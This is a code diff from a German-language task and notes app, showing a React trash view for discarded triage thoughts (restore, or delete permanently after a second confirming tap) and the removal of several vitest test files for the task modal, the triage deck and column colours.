import { api, triggerHaptic } from '../../lib/api';
import { formatDeletedAt } from '../../lib/due';
import type { Thought } from '../../lib/types';
import { ReadingModal } from '../../components/ReadingModal';
interface TriageTrashProps {
onClose: () => void;
// Something was restored or deleted: counters and the deck change
onChanged: () => void;
}
// The triage's own trash: thoughts thrown away while sorting. Back into the Quick Dump, or deleted for
// good (one by one, all at once, or after the delay from Kontoeinstellungen → Aufbewahrung). Deleting
// for good takes a second tap on the same button, like the notes trash.
export const TriageTrash: React.FC<TriageTrashProps> = ({ onClose, onChanged }) => {
const [items, setItems] = useState<Thought[] | null>(null);
const [confirmId, setConfirmId] = useState<string | null>(null);
const load = async () => {
const list = await api.getThoughts('discarded').catch(() => []);
setItems(Array.isArray(list) ? list : []);
};
useEffect(() => {
void load();
}, []);
const restore = async (item: Thought) => {
triggerHaptic(15);
await api.triageAction(item.id, 'restore');
await load();
onChanged();
};
const purge = async (id: string) => {
if (confirmId !== id) {
setConfirmId(id);
return;
}
triggerHaptic(20);
setConfirmId(null);
if (id === '__all__') await api.purgeDiscarded();
else await api.deleteThought(id);
await load();
onChanged();
};
return (
<ReadingModal title="Papierkorb der Triage" onClose={onClose}>
{items === null ? (
<div className="py-6 flex justify-center text-muted">
<Loader2 className="w-5 h-5 animate-spin" />
</div>
) : items.length === 0 ? (
<p className="py-6 text-center text-muted">Keine verworfenen Gedanken.</p>
) : (
<div className="space-y-3">
<div className="divide-y divide-border border border-border rounded-card overflow-hidden">
{items.map((item) => (
<div key={item.id} className="px-3 py-2 flex items-center justify-between gap-3">
<div className="min-w-0 flex-1">
<p className="text-sm text-main truncate">{item.content}</p>
{item.triagedAt && <p className="text-[11px] text-faint">verworfen {formatDeletedAt(item.triagedAt)}</p>}
</div>
<div className="flex items-center gap-2 flex-shrink-0">
<button type="button" onClick={() => restore(item)} className="btn-action min-h-[38px] sm:min-h-0">
<RotateCcw className="w-3 h-3 text-accent" /> Zurück
</button>
<button
type="button"
onClick={() => purge(item.id)}
className={`btn-icon btn-icon-danger min-h-[38px] min-w-[38px] sm:min-h-0 sm:min-w-0 ${confirmId === item.id ? 'text-status-err' : ''}`}
title={confirmId === item.id ? 'Wirklich endgültig löschen?' : 'Endgültig löschen'}
aria-label="Endgültig löschen"
>
{confirmId === item.id ? <span className="text-[11px] font-semibold px-1">Wirklich?</span> : <Trash2 className="w-3.5 h-3.5" />}
</button>
</div>
</div>
))}
</div>
<div className="flex justify-end">
<button type="button" onClick={() => purge('__all__')} className="btn-action min-h-[38px] sm:min-h-0 text-status-err">
<Trash2 className="w-3.5 h-3.5" />
{confirmId === '__all__' ? `Wirklich ${items.length} endgültig löschen?` : 'Papierkorb leeren'}
</button>
</div>
</div>
)}
</ReadingModal>
);
};
@@ -1,7 +1,6 @@
import { describe, it, expect, vi } from 'vitest';
import { render, screen, fireEvent, waitFor } from '@testing-library/react';
import { render, screen, fireEvent } from '@testing-library/react';
import { TaskDetailModal } from '../TaskDetailModal';
import { api } from '../../../lib/api';
import { Thought } from '../../../lib/types';
const task: Thought = {
@@ -68,20 +67,4 @@ describe('TaskDetailModal', () => {
expect(screen.getByText('Aufgabe ansehen')).toBeTruthy();
expect((screen.getByLabelText('Fälligkeitsdatum') as HTMLInputElement).closest('fieldset')?.disabled).toBe(true);
});
it('toggles watching a task via POST and DELETE /tasks/{id}/watch', async () => {
const watchSpy = vi.spyOn(api, 'watchTask').mockResolvedValue({ watching: true });
const unwatchSpy = vi.spyOn(api, 'unwatchTask').mockResolvedValue({ watching: false });
render(<TaskDetailModal {...props({ task: { ...task, isWatching: false } })} />);
const btn = screen.getByRole('button', { name: 'Beobachten' });
fireEvent.click(btn);
await waitFor(() => expect(watchSpy).toHaveBeenCalledWith('th_1'));
expect(screen.getByRole('button', { name: 'Nicht mehr beobachten' })).toBeTruthy();
fireEvent.click(screen.getByRole('button', { name: 'Nicht mehr beobachten' }));
await waitFor(() => expect(unwatchSpy).toHaveBeenCalledWith('th_1'));
expect(screen.getByRole('button', { name: 'Beobachten' })).toBeTruthy();
});
});
@@ -1,195 +0,0 @@
import React from 'react';
import { describe, it, expect, vi, beforeEach } from 'vitest';
import { render, screen, fireEvent, waitFor } from '@testing-library/react';
import { TriageDeck } from '../TriageDeck';
import { api } from '../../../lib/api';
import { SharedList, Thought } from '../../../lib/types';
const sampleDeck: Thought[] = [
{
id: 'th_1',
userId: 'u_1',
content: 'Hafermilch und Kaffeebohnen',
status: 'inbox',
priority: 'normal',
source: 'manual',
isCompleted: false,
tags: [],
createdAt: '2026-10-29T10:00:00Z',
},
];
const ownList: SharedList = {
id: 'lst_own',
title: 'Wocheneinkauf',
icon: '🛒',
listType: 'shopping',
isOwner: true,
role: 'owner',
items: [],
createdAt: '2026-10-29T10:00:00Z',
updatedAt: '2026-10-29T10:00:00Z',
};
const secondEditableList: SharedList = {
id: 'lst_edit',
title: 'Baumarkt',
icon: '🔨',
listType: 'checklist',
isOwner: false,
role: 'editor',
items: [],
createdAt: '2026-10-29T10:00:00Z',
updatedAt: '2026-10-29T10:00:00Z',
};
const viewerList: SharedList = {
id: 'lst_view',
title: 'WG-Archiv',
icon: '📋',
listType: 'checklist',
isOwner: false,
role: 'viewer',
items: [],
createdAt: '2026-10-29T10:00:00Z',
updatedAt: '2026-10-29T10:00:00Z',
};
describe('TriageDeck single-list shortcut', () => {
beforeEach(() => {
vi.restoreAllMocks();
vi.spyOn(api, 'triageAction').mockResolvedValue(sampleDeck[0]);
});
it('directly assigns to the single own list without opening the selector', async () => {
const onDeckChange = vi.fn();
render(
<TriageDeck
deck={sampleDeck}
lists={[ownList]}
onDeckChange={onDeckChange}
onOpenDocument={vi.fn()}
onFocusCapture={vi.fn()}
discardedCount={0}
onOpenTrash={vi.fn()}
/>
);
const btn = screen.getByRole('button', { name: /Auf Wocheneinkauf/i });
expect((btn as HTMLButtonElement).disabled).toBe(false);
fireEvent.click(btn);
await waitFor(() => {
expect(api.triageAction).toHaveBeenCalledWith('th_1', 'keep', {
convertTo: 'list_item',
targetListId: 'lst_own',
dueDate: undefined,
});
expect(onDeckChange).toHaveBeenCalledTimes(1);
});
expect(screen.queryByText(/Quick Dump direkt einer Liste zuordnen/i)).toBeNull();
});
it('opens the list selector when two writable lists exist instead of assigning directly', () => {
const onDeckChange = vi.fn();
render(
<TriageDeck
deck={sampleDeck}
lists={[ownList, secondEditableList]}
onDeckChange={onDeckChange}
onOpenDocument={vi.fn()}
onFocusCapture={vi.fn()}
discardedCount={0}
onOpenTrash={vi.fn()}
/>
);
const btn = screen.getByRole('button', { name: /^Auf Liste$/i });
fireEvent.click(btn);
expect(api.triageAction).not.toHaveBeenCalled();
expect(onDeckChange).not.toHaveBeenCalled();
expect(screen.getByText(/Quick Dump direkt einer Liste zuordnen/i)).toBeTruthy();
expect(screen.getByRole('button', { name: /Wocheneinkauf/i })).toBeTruthy();
expect(screen.getByRole('button', { name: /Baumarkt/i })).toBeTruthy();
});
it('treats one own list and one viewer-only shared list as a single writable list', async () => {
const onDeckChange = vi.fn();
render(
<TriageDeck
deck={sampleDeck}
lists={[viewerList, ownList]}
onDeckChange={onDeckChange}
onOpenDocument={vi.fn()}
onFocusCapture={vi.fn()}
discardedCount={0}
onOpenTrash={vi.fn()}
/>
);
const btn = screen.getByRole('button', { name: /Auf Wocheneinkauf/i });
fireEvent.click(btn);
await waitFor(() => {
expect(api.triageAction).toHaveBeenCalledWith('th_1', 'keep', {
convertTo: 'list_item',
targetListId: 'lst_own',
dueDate: undefined,
});
expect(onDeckChange).toHaveBeenCalledTimes(1);
});
});
it('disables the list button when no writable list exists', () => {
const onDeckChange = vi.fn();
render(
<TriageDeck
deck={sampleDeck}
lists={[viewerList]}
onDeckChange={onDeckChange}
onOpenDocument={vi.fn()}
onFocusCapture={vi.fn()}
discardedCount={0}
onOpenTrash={vi.fn()}
/>
);
const btn = screen.getByRole('button', { name: /^Auf Liste$/i }) as HTMLButtonElement;
expect(btn.disabled).toBe(true);
expect(btn.title).toBe('Keine Liste vorhanden');
fireEvent.click(btn);
expect(api.triageAction).not.toHaveBeenCalled();
expect(onDeckChange).not.toHaveBeenCalled();
});
it('renders mobile quick action buttons and triggers discard', async () => {
const onDeckChange = vi.fn();
render(
<TriageDeck
deck={sampleDeck}
lists={[ownList]}
onDeckChange={onDeckChange}
onOpenDocument={vi.fn()}
onFocusCapture={vi.fn()}
discardedCount={0}
onOpenTrash={vi.fn()}
/>
);
const [mobileDiscard] = screen.getAllByRole('button', { name: /^Wegwerfen$/i });
fireEvent.click(mobileDiscard);
await waitFor(() => {
expect(api.triageAction).toHaveBeenCalledWith('th_1', 'discard', expect.objectContaining({}));
expect(onDeckChange).toHaveBeenCalledTimes(1);
});
});
});
@@ -1,18 +0,0 @@
import { describe, it, expect } from 'vitest';
import { columnDotClass } from '../ManageColumnsModal';
describe('columnDotClass', () => {
it('uses the chosen colour, also the names of the server defaults', () => {
expect(columnDotClass({ id: 'x', name: 'Review', color: 'purple' })).toBe('bg-tone-purple');
expect(columnDotClass({ id: 'x', name: 'Blockiert', color: 'red' })).toBe('bg-status-err');
expect(columnDotClass({ id: 'waiting', name: 'Wartet', color: 'amber' })).toBe('bg-status-warn');
expect(columnDotClass({ id: 'done', name: 'Erledigt', color: 'emerald', isDone: true })).toBe('bg-status-ok');
});
it('keeps the colour of the role for columns without one', () => {
expect(columnDotClass({ id: 'in_progress', name: 'In Arbeit' })).toBe('bg-accent');
expect(columnDotClass({ id: 'x', name: 'Fertig', isDone: true })).toBe('bg-status-ok');
expect(columnDotClass({ id: 'x', name: 'Neu' })).toBe('bg-faint');
expect(columnDotClass(undefined)).toBe('bg-faint');
});
});
Loaded 100 of 332 files, more files were not shown because too many files have changed in this diff. Show more